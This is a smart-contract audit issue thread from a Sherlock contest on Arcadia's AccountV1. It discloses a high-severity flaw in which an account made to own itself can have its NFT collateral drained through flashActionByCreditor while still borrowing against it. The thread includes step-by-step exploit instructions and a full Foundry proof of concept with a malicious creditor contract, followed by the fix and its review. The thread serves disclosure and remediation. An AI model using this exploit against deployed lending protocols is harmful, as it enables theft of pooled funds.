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sherlock-audit / 2023-12-arcadia-judging

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0x52 - `AccountV1#flashActionByCreditor` can be used to drain assets from account without withdrawing #140

Open sherlock-admin opened 6 months ago

sherlock-admin commented 6 months ago

0x52

high

AccountV1#flashActionByCreditor can be used to drain assets from account without withdrawing

Summary

AccountV1#flashActionByCreditor is designed to allow atomic flash actions moving funds from the owner of the account. By making the account own itself, these arbitrary calls can be used to transfer ERC721 assets directly out of the account. The assets being transferred from the account will still show as deposited on the account allowing it to take out loans from creditors without having any actual assets.

Vulnerability Detail

The overview of the exploit are as follows:

1) Deposit ERC721
2) Set creditor to malicious designed creditor
3) Transfer the account to itself
4) flashActionByCreditor to transfer ERC721
    4a) account owns itself so _transferFromOwner allows transfers from account
    4b) Account is now empty but still thinks is has ERC721
5) Use malicious designed liquidator contract to call auctionBoughtIn
    and transfer account back to attacker
7) Update creditor to legitimate creditor
8) Take out loan against nothing
9) Profit

The key to this exploit is that the account is able to be it's own owner. Paired with a maliciously designed creditor (creditor can be set to anything) flashActionByCreditor can be called by the attacker when this is the case.

AccountV1.sol#L770-L772

if (transferFromOwnerData.assets.length > 0) {
    _transferFromOwner(transferFromOwnerData, actionTarget);
}

In these lines the ERC721 token is transferred out of the account. The issue is that even though the token is transferred out, the erc721Stored array is not updated to reflect this change.

AccountV1.sol#L570-L572

function auctionBoughtIn(address recipient) external onlyLiquidator nonReentrant {
    _transferOwnership(recipient);
}

As seen above auctionBoughtIn does not have any requirement besides being called by the liquidator. Since the liquidator is also malicious. It can then abuse this function to set the owner to any address, which allows the attacker to recover ownership of the account. Now the attacker has an account that still considers the ERC721 token as owned but that token isn't actually present in the account.

Now the account creditor can be set to a legitimate pool and a loan taken out against no collateral at all.

Impact

Account can take out completely uncollateralized loans, causing massive losses to all lending pools.

Code Snippet

AccountV1.sol#L265-L270

Tool used

Manual Review

Recommendation

The root cause of this issue is that the account can own itself. The fix is simple, make the account unable to own itself by causing transferOwnership to revert if owner == address(this)

sherlock-admin2 commented 6 months ago

1 comment(s) were left on this issue during the judging contest.

takarez commented:

valid: flashActionByCreditor should be mitigated; high(7)

j-vp commented 6 months ago

Created a (very) quick & dirty POC to confirm the validity:

/**
 * Created by Pragma Labs
 * SPDX-License-Identifier: MIT
 */
pragma solidity 0.8.22;

import { Fork_Test } from "../Fork.t.sol";

import { ERC20 } from "../../../lib/solmate/src/tokens/ERC20.sol";
import { ERC721 } from "../../../lib/solmate/src/tokens/ERC721.sol";

import { LiquidityAmounts } from "../../../src/asset-modules/UniswapV3/libraries/LiquidityAmounts.sol";
import { LiquidityAmountsExtension } from
    "../../utils/fixtures/uniswap-v3/extensions/libraries/LiquidityAmountsExtension.sol";
import { INonfungiblePositionManagerExtension } from
    "../../utils/fixtures/uniswap-v3/extensions/interfaces/INonfungiblePositionManagerExtension.sol";
import { ISwapRouter } from "../../utils/fixtures/uniswap-v3/extensions/interfaces/ISwapRouter.sol";
import { IUniswapV3Factory } from "../../utils/fixtures/uniswap-v3/extensions/interfaces/IUniswapV3Factory.sol";
import { IUniswapV3PoolExtension } from
    "../../utils/fixtures/uniswap-v3/extensions/interfaces/IUniswapV3PoolExtension.sol";
import { TickMath } from "../../../src/asset-modules/UniswapV3/libraries/TickMath.sol";
import { UniswapV3AM } from "../../../src/asset-modules/UniswapV3/UniswapV3AM.sol";
import { ActionData } from "../../../src/interfaces/IActionBase.sol";
import { IPermit2 } from "../../../src/interfaces/IPermit2.sol";
import { AccountV1 } from "../../../src/accounts/AccountV1.sol";

/**
 * @notice Fork tests for "UniswapV3AM" to test issue 140.
 */
contract UniswapV3AM_Fork_Test is Fork_Test {
    /*///////////////////////////////////////////////////////////////
                            CONSTANTS
    ///////////////////////////////////////////////////////////////*/
    INonfungiblePositionManagerExtension internal constant NONFUNGIBLE_POSITION_MANAGER =
        INonfungiblePositionManagerExtension(0x03a520b32C04BF3bEEf7BEb72E919cf822Ed34f1);
    ISwapRouter internal constant SWAP_ROUTER = ISwapRouter(0x2626664c2603336E57B271c5C0b26F421741e481);
    IUniswapV3Factory internal constant UNISWAP_V3_FACTORY =
        IUniswapV3Factory(0x33128a8fC17869897dcE68Ed026d694621f6FDfD);

    /*///////////////////////////////////////////////////////////////
                            TEST CONTRACTS
    ///////////////////////////////////////////////////////////////*/

    UniswapV3AM internal uniV3AM_;
    MaliciousCreditor internal maliciousCreditor;

    /*///////////////////////////////////////////////////////////////
                            SET-UP FUNCTION
    ///////////////////////////////////////////////////////////////*/

    function setUp() public override {
        Fork_Test.setUp();

        // Deploy uniV3AM_.
        vm.startPrank(users.creatorAddress);
        uniV3AM_ = new UniswapV3AM(address(registryExtension), address(NONFUNGIBLE_POSITION_MANAGER));
        registryExtension.addAssetModule(address(uniV3AM_));
        uniV3AM_.setProtocol();
        vm.stopPrank();

        vm.label({ account: address(uniV3AM_), newLabel: "Uniswap V3 Asset Module" });

        maliciousCreditor = new MaliciousCreditor(users.creatorAddress);
        vm.startPrank(users.creatorAddress);
        registryExtension.setRiskParametersOfPrimaryAsset(
            address(maliciousCreditor), address(DAI), 0, type(uint112).max, 9000, 9500
        );
        registryExtension.setRiskParametersOfPrimaryAsset(
            address(maliciousCreditor), address(USDC), 0, type(uint112).max, 9000, 9500
        );
        registryExtension.setRiskParametersOfPrimaryAsset(
            address(maliciousCreditor), address(WETH), 0, type(uint112).max, 9000, 9500
        );
        registryExtension.setRiskParametersOfDerivedAM(
            address(maliciousCreditor), address(uniV3AM_), type(uint112).max, 10_000
        );
        registryExtension.setRiskParameters(address(maliciousCreditor), 0, 0, 10);
        vm.stopPrank();
    }

    /*////////////////////////////////////////////////////////////////
                        HELPER FUNCTIONS
    ////////////////////////////////////////////////////////////////*/
    function isWithinAllowedRange(int24 tick) public pure returns (bool) {
        int24 MIN_TICK = -887_272;
        int24 MAX_TICK = -MIN_TICK;
        return (tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick))) <= uint256(uint24(MAX_TICK));
    }

    function addLiquidity(
        IUniswapV3PoolExtension pool,
        uint128 liquidity,
        address liquidityProvider_,
        int24 tickLower,
        int24 tickUpper,
        bool revertsOnZeroLiquidity
    ) public returns (uint256 tokenId) {
        (uint160 sqrtPrice,,,,,,) = pool.slot0();

        (uint256 amount0, uint256 amount1) = LiquidityAmounts.getAmountsForLiquidity(
            sqrtPrice, TickMath.getSqrtRatioAtTick(tickLower), TickMath.getSqrtRatioAtTick(tickUpper), liquidity
        );

        tokenId = addLiquidity(pool, amount0, amount1, liquidityProvider_, tickLower, tickUpper, revertsOnZeroLiquidity);
    }

    function addLiquidity(
        IUniswapV3PoolExtension pool,
        uint256 amount0,
        uint256 amount1,
        address liquidityProvider_,
        int24 tickLower,
        int24 tickUpper,
        bool revertsOnZeroLiquidity
    ) public returns (uint256 tokenId) {
        // Check if test should revert or be skipped when liquidity is zero.
        // This is hard to check with assumes of the fuzzed inputs due to rounding errors.
        if (!revertsOnZeroLiquidity) {
            (uint160 sqrtPrice,,,,,,) = pool.slot0();
            uint256 liquidity = LiquidityAmountsExtension.getLiquidityForAmounts(
                sqrtPrice,
                TickMath.getSqrtRatioAtTick(tickLower),
                TickMath.getSqrtRatioAtTick(tickUpper),
                amount0,
                amount1
            );
            vm.assume(liquidity > 0);
        }

        address token0 = pool.token0();
        address token1 = pool.token1();
        uint24 fee = pool.fee();

        deal(token0, liquidityProvider_, amount0);
        deal(token1, liquidityProvider_, amount1);
        vm.startPrank(liquidityProvider_);
        ERC20(token0).approve(address(NONFUNGIBLE_POSITION_MANAGER), type(uint256).max);
        ERC20(token1).approve(address(NONFUNGIBLE_POSITION_MANAGER), type(uint256).max);
        (tokenId,,,) = NONFUNGIBLE_POSITION_MANAGER.mint(
            INonfungiblePositionManagerExtension.MintParams({
                token0: token0,
                token1: token1,
                fee: fee,
                tickLower: tickLower,
                tickUpper: tickUpper,
                amount0Desired: amount0,
                amount1Desired: amount1,
                amount0Min: 0,
                amount1Min: 0,
                recipient: liquidityProvider_,
                deadline: type(uint256).max
            })
        );
        vm.stopPrank();
    }

    function assertInRange(uint256 actualValue, uint256 expectedValue, uint8 precision) internal {
        if (expectedValue == 0) {
            assertEq(actualValue, expectedValue);
        } else {
            vm.assume(expectedValue > 10 ** (2 * precision));
            assertGe(actualValue * (10 ** precision + 1) / 10 ** precision, expectedValue);
            assertLe(actualValue * (10 ** precision - 1) / 10 ** precision, expectedValue);
        }
    }

    /*///////////////////////////////////////////////////////////////
                            FORK TESTS
    ///////////////////////////////////////////////////////////////*/

    function testFork_Success_deposit2(uint128 liquidity, int24 tickLower, int24 tickUpper) public {
        vm.assume(liquidity > 10_000);

        IUniswapV3PoolExtension pool =
            IUniswapV3PoolExtension(UNISWAP_V3_FACTORY.getPool(address(DAI), address(WETH), 100));
        (, int24 tickCurrent,,,,,) = pool.slot0();

        // Check that ticks are within allowed ranges.
        tickLower = int24(bound(tickLower, tickCurrent - 16_095, tickCurrent + 16_095));
        tickUpper = int24(bound(tickUpper, tickCurrent - 16_095, tickCurrent + 16_095));
        // Ensure Tick is correctly spaced.
        {
            int24 tickSpacing = UNISWAP_V3_FACTORY.feeAmountTickSpacing(pool.fee());
            tickLower = tickLower / tickSpacing * tickSpacing;
            tickUpper = tickUpper / tickSpacing * tickSpacing;
        }
        vm.assume(tickLower < tickUpper);
        vm.assume(isWithinAllowedRange(tickLower));
        vm.assume(isWithinAllowedRange(tickUpper));

        // Check that Liquidity is within allowed ranges.
        vm.assume(liquidity <= pool.maxLiquidityPerTick());

        // Balance pool before mint
        uint256 amountDaiBefore = DAI.balanceOf(address(pool));
        uint256 amountWethBefore = WETH.balanceOf(address(pool));

        // Mint liquidity position.
        uint256 tokenId = addLiquidity(pool, liquidity, users.accountOwner, tickLower, tickUpper, false);

        // Balance pool after mint
        uint256 amountDaiAfter = DAI.balanceOf(address(pool));
        uint256 amountWethAfter = WETH.balanceOf(address(pool));

        // Amounts deposited in the pool.
        uint256 amountDai = amountDaiAfter - amountDaiBefore;
        uint256 amountWeth = amountWethAfter - amountWethBefore;

        // Precision oracles up to % -> need to deposit at least 1000 tokens or rounding errors lead to bigger errors.
        vm.assume(amountDai + amountWeth > 100);

        // Deposit the Liquidity Position.
        {
            address[] memory assetAddress = new address[](1);
            assetAddress[0] = address(NONFUNGIBLE_POSITION_MANAGER);

            uint256[] memory assetId = new uint256[](1);
            assetId[0] = tokenId;

            uint256[] memory assetAmount = new uint256[](1);
            assetAmount[0] = 1;
            vm.startPrank(users.accountOwner);
            ERC721(address(NONFUNGIBLE_POSITION_MANAGER)).approve(address(proxyAccount), tokenId);
            proxyAccount.deposit(assetAddress, assetId, assetAmount);
            vm.stopPrank();
        }

        vm.startPrank(users.accountOwner);
        // exploit starts: user adds malicious creditor to keep the "hook" after the account transfer
        proxyAccount.openMarginAccount(address(maliciousCreditor));

        // avoid any cooldowns
        uint256 time = block.timestamp;
        vm.warp(time + 1 days);

        // transfer the account to itself
        factory.safeTransferFrom(users.accountOwner, address(proxyAccount), address(proxyAccount));
        vm.stopPrank();
        assertEq(proxyAccount.owner(), address(proxyAccount));

        vm.startPrank(users.creatorAddress);

        // from the malicous creditor set earlier, start a flashActionByCreditor which withdraws the univ3lp as a "transferFromOwner"
        maliciousCreditor.doFlashActionByCreditor(address(proxyAccount), tokenId, address(NONFUNGIBLE_POSITION_MANAGER));
        vm.stopPrank();

        // univ3lp changed ownership to the malicious creditor
        assertEq(ERC721(address(NONFUNGIBLE_POSITION_MANAGER)).ownerOf(tokenId), address(maliciousCreditor));
        assertEq(ERC721(address(NONFUNGIBLE_POSITION_MANAGER)).balanceOf(address(proxyAccount)), 0);

        // account still shows it has a collateral value
        assertGt(proxyAccount.getCollateralValue(), 0);

        // univ3lp is still accounted for in the account
        (address[] memory assets, uint256[] memory ids, uint256[] memory amounts) = proxyAccount.generateAssetData();
        assertEq(assets[0], address(NONFUNGIBLE_POSITION_MANAGER));
        assertEq(ids[0], tokenId);
        assertEq(amounts[0], 1);
    }
}

contract MaliciousCreditor {
    address public riskManager;

    constructor(address riskManager_) {
        // Set the risk manager.
        riskManager = riskManager_;
    }

    function openMarginAccount(uint256 version)
        public
        returns (bool success, address numeraire_, address liquidator_, uint256 minimumMargin_)
    {
        return (true, 0x50c5725949A6F0c72E6C4a641F24049A917DB0Cb, address(0), 0); //dai
    }

    function doFlashActionByCreditor(address targetAccount, uint256 tokenId, address nftMgr) public {
        ActionData memory withdrawData;
        IPermit2.PermitBatchTransferFrom memory permit;
        bytes memory signature;
        bytes memory actionTargetData;

        ActionData memory transferFromOwnerData;
        transferFromOwnerData.assets = new address[](1);
        transferFromOwnerData.assets[0] = nftMgr;
        transferFromOwnerData.assetIds = new uint256[](1);
        transferFromOwnerData.assetIds[0] = tokenId;
        transferFromOwnerData.assetAmounts = new uint256[](1);
        transferFromOwnerData.assetAmounts[0] = 1;
        transferFromOwnerData.assetTypes = new uint256[](1);
        transferFromOwnerData.assetTypes[0] = 1;

        bytes memory actionData = abi.encode(withdrawData, transferFromOwnerData, permit, signature, actionTargetData);

        AccountV1(targetAccount).flashActionByCreditor(address(this), actionData);
    }

    function executeAction(bytes memory actionData) public returns (ActionData memory) {
        ActionData memory withdrawData;
        return withdrawData;
    }

    function getOpenPosition(address) public pure returns (uint256) {
        return 0;
    }

    function onERC721Received(address, address, uint256, bytes calldata) public pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
j-vp commented 6 months ago

I don't see a reasonable usecase where an account should own itself. wdyt @Thomas-Smets ?

function transferOwnership(address newOwner) external onlyFactory notDuringAuction {
    if (block.timestamp <= lastActionTimestamp + COOL_DOWN_PERIOD) revert AccountErrors.CoolDownPeriodNotPassed();

    // The Factory will check that the new owner is not address(0).
+   if (newOwner == address(this)) revert NoTransferToSelf();
    owner = newOwner;
}

function _transferOwnership(address newOwner) internal {
    // The Factory will check that the new owner is not address(0).
+   if (newOwner == address(this)) revert NoTransferToSelf();
    owner = newOwner;
    IFactory(FACTORY).safeTransferAccount(newOwner);
}
Thomas-Smets commented 6 months ago

No indeed, that should fix it

Thomas-Smets commented 6 months ago

Fixes:

sherlock-admin commented 6 months ago

The protocol team fixed this issue in PR/commit https://github.com/arcadia-finance/accounts-v2/pull/171.

IAm0x52 commented 5 months ago

Fix looks good. Accounts can no longer own themselves as all transfers of ownership to self are now blocked.

sherlock-admin4 commented 5 months ago

The Lead Senior Watson signed off on the fix.